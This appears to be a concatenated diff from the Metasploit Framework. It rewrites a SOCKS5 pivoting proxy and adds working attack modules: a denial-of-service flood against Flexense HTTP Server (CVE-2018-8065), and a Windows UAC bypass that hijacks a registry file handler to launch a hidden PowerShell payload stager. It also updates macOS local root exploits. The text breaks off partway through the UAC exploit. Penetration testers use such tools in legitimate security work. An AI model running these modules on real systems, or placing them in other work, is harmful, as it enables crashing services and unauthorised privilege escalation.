# A SOCKS5 proxy server.
|
||||
#
|
||||
class Server
|
||||
#
|
||||
# Create a new SOCKS5 server.
|
||||
#
|
||||
def initialize(opts={})
|
||||
@opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 }
|
||||
@opts = @opts.merge(opts)
|
||||
@server = nil
|
||||
@clients = ::Array.new
|
||||
@running = false
|
||||
@server_thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Check if the server is running.
|
||||
#
|
||||
def is_running?
|
||||
return @running
|
||||
end
|
||||
|
||||
#
|
||||
# Start the SOCKS5 server.
|
||||
#
|
||||
def start
|
||||
begin
|
||||
# create the servers main socket (ignore the context here because we don't want a remote bind)
|
||||
@server = Rex::Socket::TcpServer.create('LocalHost' => @opts['ServerHost'], 'LocalPort' => @opts['ServerPort'])
|
||||
# signal we are now running
|
||||
@running = true
|
||||
# start the servers main thread to pick up new clients
|
||||
@server_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServer", false) do
|
||||
while @running
|
||||
begin
|
||||
# accept the client connection
|
||||
sock = @server.accept
|
||||
# and fire off a new client instance to handle it
|
||||
ServerClient.new(self, sock, @opts).start
|
||||
rescue
|
||||
wlog("SOCKS5.start - server_thread - #{$!}")
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
wlog("SOCKS5.start - #{$!}")
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Block while the server is running.
|
||||
#
|
||||
def join
|
||||
@server_thread.join if @server_thread
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the SOCKS5 server.
|
||||
#
|
||||
def stop
|
||||
if @running
|
||||
# signal we are no longer running
|
||||
@running = false
|
||||
# stop any clients we have (create a new client array as client.stop will delete from @clients)
|
||||
clients = @clients.dup
|
||||
clients.each do | client |
|
||||
client.stop
|
||||
end
|
||||
# close the server socket
|
||||
@server.close if @server
|
||||
# if the server thread did not terminate gracefully, kill it.
|
||||
@server_thread.kill if @server_thread and @server_thread.alive?
|
||||
end
|
||||
return !@running
|
||||
end
|
||||
|
||||
def add_client(client)
|
||||
@clients << client
|
||||
end
|
||||
|
||||
def remove_client(client)
|
||||
@clients.delete(client)
|
||||
end
|
||||
|
||||
attr_reader :opts
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,299 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'bindata'
|
||||
require 'rex/socket'
|
||||
require 'rex/proto/proxy/socks5/packet'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Proxy
|
||||
|
||||
#
|
||||
# A client connected to the proxy server.
|
||||
#
|
||||
module Socks5
|
||||
#
|
||||
# A mixin for a socket to perform a relay to another socket.
|
||||
#
|
||||
module TcpRelay
|
||||
#
|
||||
# TcpRelay data coming in from relay_sock to this socket.
|
||||
#
|
||||
def relay(relay_client, relay_sock)
|
||||
@relay_client = relay_client
|
||||
@relay_sock = relay_sock
|
||||
# start the relay thread (modified from Rex::IO::StreamAbstraction)
|
||||
@relay_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServerTcpRelay", false) do
|
||||
loop do
|
||||
closed = false
|
||||
buf = nil
|
||||
|
||||
begin
|
||||
s = Rex::ThreadSafe.select([@relay_sock], nil, nil, 0.2)
|
||||
next if s.nil? || s[0].nil?
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
|
||||
unless closed
|
||||
begin
|
||||
buf = @relay_sock.sysread( 32768 )
|
||||
closed = buf.nil?
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
end
|
||||
|
||||
unless closed
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
while total_sent < total_length
|
||||
begin
|
||||
data = buf[total_sent, buf.length]
|
||||
sent = self.write(data)
|
||||
total_sent += sent if sent > 0
|
||||
rescue
|
||||
closed = true
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if closed
|
||||
@relay_client.stop
|
||||
::Thread.exit
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# A client connected to the SOCKS5 server.
|
||||
#
|
||||
class ServerClient
|
||||
AUTH_NONE = 0
|
||||
AUTH_GSSAPI = 1
|
||||
AUTH_CREDS = 2
|
||||
AUTH_NO_ACCEPTABLE_METHODS = 255
|
||||
|
||||
AUTH_PROTOCOL_VERSION = 1
|
||||
AUTH_RESULT_SUCCESS = 0
|
||||
AUTH_RESULT_FAILURE = 1
|
||||
|
||||
COMMAND_CONNECT = 1
|
||||
COMMAND_BIND = 2
|
||||
COMMAND_UDP_ASSOCIATE = 3
|
||||
|
||||
REPLY_SUCCEEDED = 0
|
||||
REPLY_GENERAL_FAILURE = 1
|
||||
REPLY_NOT_ALLOWED = 2
|
||||
REPLY_NET_UNREACHABLE = 3
|
||||
REPLY_HOST_UNREACHABLE = 4
|
||||
REPLY_CONNECTION_REFUSED = 5
|
||||
REPLY_TTL_EXPIRED = 6
|
||||
REPLY_CMD_NOT_SUPPORTED = 7
|
||||
REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 8
|
||||
|
||||
HOST = 1
|
||||
PORT = 2
|
||||
|
||||
#
|
||||
# Create a new client connected to the server.
|
||||
#
|
||||
def initialize(server, sock, opts={})
|
||||
@server = server
|
||||
@lsock = sock
|
||||
@opts = opts
|
||||
@rsock = nil
|
||||
@client_thread = nil
|
||||
@mutex = ::Mutex.new
|
||||
end
|
||||
|
||||
# Start handling the client connection.
|
||||
#
|
||||
def start
|
||||
# create a thread to handle this client request so as to not block the socks5 server
|
||||
@client_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyClient", false) do
|
||||
begin
|
||||
@server.add_client(self)
|
||||
# get the initial client request packet
|
||||
handle_authentication
|
||||
|
||||
# handle the request
|
||||
handle_command
|
||||
rescue => exception
|
||||
# respond with a general failure to the client
|
||||
response = ResponsePacket.new
|
||||
response.command = REPLY_GENERAL_FAILURE
|
||||
@lsock.put(response.to_binary_s)
|
||||
|
||||
wlog("Client.start - #{$!}")
|
||||
self.stop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def handle_authentication
|
||||
request = AuthRequestPacket.read(@lsock.get_once)
|
||||
if @opts['ServerUsername'].nil? && @opts['ServerPassword'].nil?
|
||||
handle_authentication_none(request)
|
||||
else
|
||||
handle_authentication_creds(request)
|
||||
end
|
||||
end
|
||||
|
||||
def handle_authentication_creds(request)
|
||||
unless request.supported_methods.include? AUTH_CREDS
|
||||
raise "Invalid SOCKS5 request packet received (no supported authentication methods)."
|
||||
end
|
||||
response = AuthResponsePacket.new
|
||||
response.chosen_method = AUTH_CREDS
|
||||
@lsock.put(response.to_binary_s)
|
||||
|
||||
version = @lsock.read(1)
|
||||
raise "Invalid SOCKS5 authentication packet received." unless version.unpack('C').first == 0x01
|
||||
|
||||
username_length = @lsock.read(1).unpack('C').first
|
||||
username = @lsock.read(username_length)
|
||||
|
||||
password_length = @lsock.read(1).unpack('C').first
|
||||
password = @lsock.read(password_length)
|
||||
|
||||
# +-----+--------+
|
||||
# | VER | STATUS |
|
||||
# +-----+--------+ VERSION: 0x01
|
||||
# | 1 | 1 | STATUS: 0x00=SUCCESS, otherwise FAILURE
|
||||
# +-----+--------+
|
||||
if username == @opts['ServerUsername'] && password == @opts['ServerPassword']
|
||||
raw = [ AUTH_PROTOCOL_VERSION, AUTH_RESULT_SUCCESS ].pack ('CC')
|
||||
ilog("SOCKS5: Successfully authenticated")
|
||||
@lsock.put(raw)
|
||||
else
|
||||
raw = [ AUTH_PROTOCOL_VERSION, AUTH_RESULT_FAILURE ].pack ('CC')
|
||||
@lsock.put(raw)
|
||||
raise "Invalid SOCKS5 credentials provided"
|
||||
end
|
||||
end
|
||||
|
||||
def handle_authentication_none(request)
|
||||
unless request.supported_methods.include? AUTH_NONE
|
||||
raise "Invalid SOCKS5 request packet received (no supported authentication methods)."
|
||||
end
|
||||
response = AuthResponsePacket.new
|
||||
response.chosen_method = AUTH_NONE
|
||||
@lsock.put(response.to_binary_s)
|
||||
end
|
||||
|
||||
def handle_command
|
||||
request = RequestPacket.read(@lsock.get_once)
|
||||
response = nil
|
||||
case request.command
|
||||
when COMMAND_BIND
|
||||
response = handle_command_bind(request)
|
||||
when COMMAND_CONNECT
|
||||
response = handle_command_connect(request)
|
||||
when COMMAND_UDP_ASSOCIATE
|
||||
response = handle_command_udp_associate(request)
|
||||
end
|
||||
@lsock.put(response.to_binary_s) unless response.nil?
|
||||
end
|
||||
|
||||
def handle_command_bind(request)
|
||||
# create a server socket for this request
|
||||
params = {
|
||||
'LocalHost' => request.address_type == Address::ADDRESS_TYPE_IPV6 ? '::' : '0.0.0.0',
|
||||
'LocalPort' => 0,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
bsock = Rex::Socket::TcpServer.create(params)
|
||||
|
||||
# send back the bind success to the client
|
||||
response = ResponsePacket.new
|
||||
response.command = REPLY_SUCCEEDED
|
||||
response.address = bsock.getlocalname[HOST]
|
||||
response.port = bsock.getlocalname[PORT]
|
||||
@lsock.put(response.to_binary_s)
|
||||
|
||||
# accept a client connection (2 minute timeout as per the socks4a spec)
|
||||
begin
|
||||
::Timeout.timeout(120) do
|
||||
@rsock = bsock.accept
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
raise "Timeout reached on accept request."
|
||||
end
|
||||
|
||||
# close the listening socket
|
||||
bsock.close
|
||||
|
||||
setup_tcp_relay
|
||||
response = ResponsePacket.new
|
||||
response.command = REPLY_SUCCEEDED
|
||||
response.address = @rsock.peerhost
|
||||
response.port = @rsock.peerport
|
||||
response
|
||||
end
|
||||
|
||||
def handle_command_connect(request)
|
||||
# perform the connection request
|
||||
params = {
|
||||
'PeerHost' => request.address,
|
||||
'PeerPort' => request.port,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
@rsock = Rex::Socket::Tcp.create(params)
|
||||
|
||||
setup_tcp_relay
|
||||
response = ResponsePacket.new
|
||||
response.command = REPLY_SUCCEEDED
|
||||
response.address = @rsock.getlocalname[HOST]
|
||||
response.port = @rsock.getlocalname[PORT]
|
||||
response
|
||||
end
|
||||
|
||||
def handle_command_udp_associate(request)
|
||||
response = ResponsePacket.new
|
||||
response.command = REPLY_CMD_NOT_SUPPORTED
|
||||
response
|
||||
end
|
||||
|
||||
#
|
||||
# Setup the TcpRelay between lsock and rsock.
|
||||
#
|
||||
def setup_tcp_relay
|
||||
# setup the two way relay for full duplex io
|
||||
@lsock.extend(TcpRelay)
|
||||
@rsock.extend(TcpRelay)
|
||||
# start the socket relays...
|
||||
@lsock.relay(self, @rsock)
|
||||
@rsock.relay(self, @lsock)
|
||||
end
|
||||
|
||||
#
|
||||
# Stop handling the client connection.
|
||||
#
|
||||
def stop
|
||||
@mutex.synchronize do
|
||||
unless @closed
|
||||
begin
|
||||
@lsock.close if @lsock
|
||||
rescue
|
||||
end
|
||||
|
||||
begin
|
||||
@rsock.close if @rsock
|
||||
rescue
|
||||
end
|
||||
|
||||
@client_thread.kill if @client_thread and @client_thread.alive?
|
||||
@server.remove_client(self)
|
||||
@closed = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -289,11 +289,9 @@ module DispatcherShell
|
|||
def tab_complete_source_address
|
||||
addresses = [Rex::Socket.source_address]
|
||||
# getifaddrs was introduced in 2.1.2
|
||||
if Socket.respond_to?(:getifaddrs)
|
||||
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
|
||||
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
|
||||
ifaddr.addr &&
|
||||
ifaddr.addr.ip?
|
||||
if ::Socket.respond_to?(:getifaddrs)
|
||||
ifaddrs = ::Socket.getifaddrs.select do |ifaddr|
|
||||
ifaddr.addr && ifaddr.addr.ip?
|
||||
end
|
||||
addresses += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
||||
end
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Dos
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Flexense HTTP Server Denial Of Service',
|
||||
'Description' => %q{
|
||||
This module triggers a Denial of Service vulnerability in the Flexense HTTP server.
|
||||
Vulnerability caused by a user mode write access memory violation and can be triggered with
|
||||
rapidly sending variety of HTTP requests with long HTTP header values.
|
||||
|
||||
Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below vesions reportedly vulnerable.
|
||||
},
|
||||
'Author' => [ 'Ege Balci <ege.balci@invictuseurope.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2018-8065'],
|
||||
[ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 09 2018'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)" , 1725 ]),
|
||||
OptString.new('PacketSize', [ true, "The number of bytes in the Accept header (Recommended: 4088-5090" , rand(4088..5090) ])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
connect
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
res = sock.get
|
||||
if res and res.include? 'Flexense HTTP Server v10.6.24'
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("Target refused the connection")
|
||||
Exploit::CheckCode::Unknown
|
||||
rescue
|
||||
print_error("Target did not respond to HTTP request")
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
||||
end
|
||||
|
||||
size = datastore['PacketSize'].to_i
|
||||
print_status("Starting with packets of #{size}-byte strings")
|
||||
|
||||
count = 0
|
||||
loop do
|
||||
payload = ""
|
||||
payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n"
|
||||
payload << "Host: 127.0.0.1\r\n"
|
||||
payload << "Accept: "+('A' * size)+"\r\n"
|
||||
payload << "\r\n\r\n"
|
||||
begin
|
||||
connect
|
||||
sock.put(payload)
|
||||
disconnect
|
||||
count += 1
|
||||
break if count==datastore['PacketCount']
|
||||
rescue ::Rex::InvalidDestination
|
||||
print_error('Invalid destination! Continuing...')
|
||||
rescue ::Rex::ConnectionTimeout
|
||||
print_error('Connection timeout! Continuing...')
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_error('Connection reset! Continuing...')
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_good("DoS successful after #{count} packets with #{size}-byte headers")
|
||||
return true
|
||||
end
|
||||
end
|
||||
print_error("DoS failed after #{count} packets of #{size}-byte strings")
|
||||
end
|
||||
end
|
|
@ -3,8 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# TODO: Find a way to background this (commenting out join() below causes it to stop immediately)
|
||||
|
||||
require 'thread'
|
||||
require 'rex/proto/proxy/socks5'
|
||||
|
||||
|
@ -14,8 +12,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Socks5 Proxy Server',
|
||||
'Description' => 'This module provides a socks5 proxy server that uses the builtin Metasploit routing to relay connections.',
|
||||
'Author' => 'sf',
|
||||
'Description' => %q{
|
||||
This module provides a socks5 proxy server that uses the builtin
|
||||
Metasploit routing to relay connections.
|
||||
},
|
||||
'Author' => [ 'sf', 'Spencer McIntyre', 'surefire' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
|
@ -28,27 +29,26 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'DefaultAction' => 'Proxy'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new( 'USERNAME', [ false, "Proxy username for SOCKS5 listener" ] ),
|
||||
OptString.new( 'PASSWORD', [ false, "Proxy password for SOCKS5 listener" ] ),
|
||||
OptString.new( 'SRVHOST', [ true, "The address to listen on", '127.0.0.1' ] ),
|
||||
OptPort.new( 'SRVPORT', [ true, "The port to listen on.", 1080 ] )
|
||||
register_options([
|
||||
OptString.new('USERNAME', [false, 'Proxy username for SOCKS5 listener']),
|
||||
OptString.new('PASSWORD', [false, 'Proxy password for SOCKS5 listener']),
|
||||
OptString.new('SRVHOST', [true, 'The address to listen on', '0.0.0.0']),
|
||||
OptPort.new('SRVPORT', [true, 'The port to listen on', 1080])
|
||||
])
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@mutex = ::Mutex.new
|
||||
@socks5 = nil
|
||||
@socks_proxy = nil
|
||||
end
|
||||
|
||||
def cleanup
|
||||
@mutex.synchronize do
|
||||
if( @socks5 )
|
||||
print_status( "Stopping the socks5 proxy server" )
|
||||
@socks5.stop
|
||||
@socks5 = nil
|
||||
if @socks_proxy
|
||||
print_status('Stopping the socks5 proxy server')
|
||||
@socks_proxy.stop
|
||||
@socks_proxy = nil
|
||||
end
|
||||
end
|
||||
super
|
||||
|
@ -62,13 +62,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'ServerPassword' => datastore['PASSWORD'],
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
}
|
||||
@socks_proxy = Rex::Proto::Proxy::Socks5::Server.new(opts)
|
||||
|
||||
@socks5 = Rex::Proto::Proxy::Socks5.new( opts )
|
||||
|
||||
print_status( "Starting the socks5 proxy server" )
|
||||
|
||||
@socks5.start
|
||||
|
||||
@socks5.join
|
||||
print_status('Starting the socks5 proxy server')
|
||||
@socks_proxy.start
|
||||
@socks_proxy.join
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
@ -57,10 +58,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
(ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
|
||||
(ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
print_status("Writing exploit to `#{exploit_file}'")
|
||||
write_file(exploit_file, python_exploit)
|
||||
register_file_for_cleanup(exploit_file)
|
||||
|
@ -81,10 +86,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
)
|
||||
end
|
||||
|
||||
def admin?
|
||||
cmd_exec('groups | grep -wq admin && echo true') == 'true'
|
||||
end
|
||||
|
||||
def sploit
|
||||
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
|
||||
end
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
@ -48,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if ver? && admin?
|
||||
if ver? && is_admin?
|
||||
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
|
@ -57,6 +58,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
print_status("Copying Directory Utility.app to #{new_app}")
|
||||
cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
|
||||
cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")
|
||||
|
@ -87,10 +92,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
)
|
||||
end
|
||||
|
||||
def admin?
|
||||
cmd_exec('groups | grep -wq admin && echo true') == 'true'
|
||||
end
|
||||
|
||||
def sploit
|
||||
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
|
||||
end
|
||||
|
|
|
@ -13,12 +13,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# it at his own risk
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
|
||||
SUDOER_GROUP = "admin"
|
||||
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
|
||||
CMD_TIMEOUT = 45
|
||||
|
||||
|
@ -113,7 +113,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if not user_in_admin_group?
|
||||
# check that the user is in OSX's admin group, necessary to change sys clock
|
||||
unless is_admin?
|
||||
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
@ -122,9 +123,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
if not user_in_admin_group?
|
||||
fail_with(Failure::NotFound, "User is not in the 'admin' group, bailing.")
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless is_admin?
|
||||
fail_with(Failure::NoAccess, "User is not in the 'admin' group, bailing.")
|
||||
end
|
||||
|
||||
# "remember" the current system time/date/network/zone
|
||||
print_good("User is an admin, continuing...")
|
||||
|
||||
|
@ -234,11 +240,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
|
||||
end
|
||||
|
||||
# checks that the user is in OSX's admin group, necessary to change sys clock
|
||||
def user_in_admin_group?
|
||||
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
|
||||
end
|
||||
|
||||
# helper methods for dealing with sudo's vn num
|
||||
def parse_vn(vn_str)
|
||||
vn_str.split(/[\.p]/).map(&:to_i)
|
||||
|
|
|
@ -0,0 +1,205 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::Powershell
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
|
||||
SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze
|
||||
SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
|
||||
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
|
||||
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
|
||||
SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze
|
||||
CMD_MAX_LEN = 16383
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
|
||||
'Description' => %q{
|
||||
This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
|
||||
the Current User hive, and inserting a custom command that will get invoked when any binary
|
||||
(.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
|
||||
to file handler hijacking. When we run slui.exe with changed Registry key
|
||||
(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
|
||||
instead of slui.exe.
|
||||
|
||||
The module modifies the registry in order for this exploit to work. The modification is
|
||||
reverted once the exploitation attempt has finished.
|
||||
|
||||
The module does not require the architecture of the payload to match the OS. If
|
||||
specifying EXE::Custom your DLL should call ExitProcess() after starting the
|
||||
payload in a different process.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'bytecode-77', # UAC bypass discovery and research
|
||||
'gushmazuko', # MSF & PowerShell module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
['Windows x86', { 'Arch' => ARCH_X86 }],
|
||||
['Windows x64', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[
|
||||
'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
|
||||
'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 15 2018'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
|
||||
CheckCode::Appears
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Validate that we can actually do things before we bother
|
||||
# doing any more work
|
||||
check_permissions!
|
||||
|
||||
commspec = 'powershell'
|
||||
registry_view = REGISTRY_VIEW_NATIVE
|
||||
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
|
||||
# Make sure we have a sane payload configuration
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
if session.arch == ARCH_X86
|
||||
# On x64, check arch
|
||||
commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
|
||||
if target_arch.first == ARCH_X64
|
||||
# We can't use absolute path here as
|
||||
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
|
||||
psh_path = "powershell.exe"
|
||||
end
|
||||
end
|
||||
if target_arch.first == ARCH_X86
|
||||
# Invoking x86, so switch to SysWOW64
|
||||
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
end
|
||||
else
|
||||
# if we're on x86, we can't handle x64 payloads
|
||||
if target_arch.first == ARCH_X64
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
end
|
||||
|
||||
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
|
||||
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
|
||||
end
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
payload_value = rand_text_alpha(8)
|
||||
psh_path = expand_path(psh_path)
|
||||
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
|
||||
|
||||
if psh_payload.length > CMD_MAX_LEN
|
||||
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
|
||||
end
|
||||
|
||||
psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
|
||||
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
|
||||
|
||||
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
|
||||
exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
|
||||
|
||||
if existing.empty?
|
||||
registry_createkey(SLUI_WRITE_KEY, registry_view)
|
||||
end
|
||||
|
||||
print_status("Configuring payload and stager registry keys ...")
|
||||
unless exist_delegate
|
||||
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
|
||||
end
|
||||
|
||||
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
|
||||
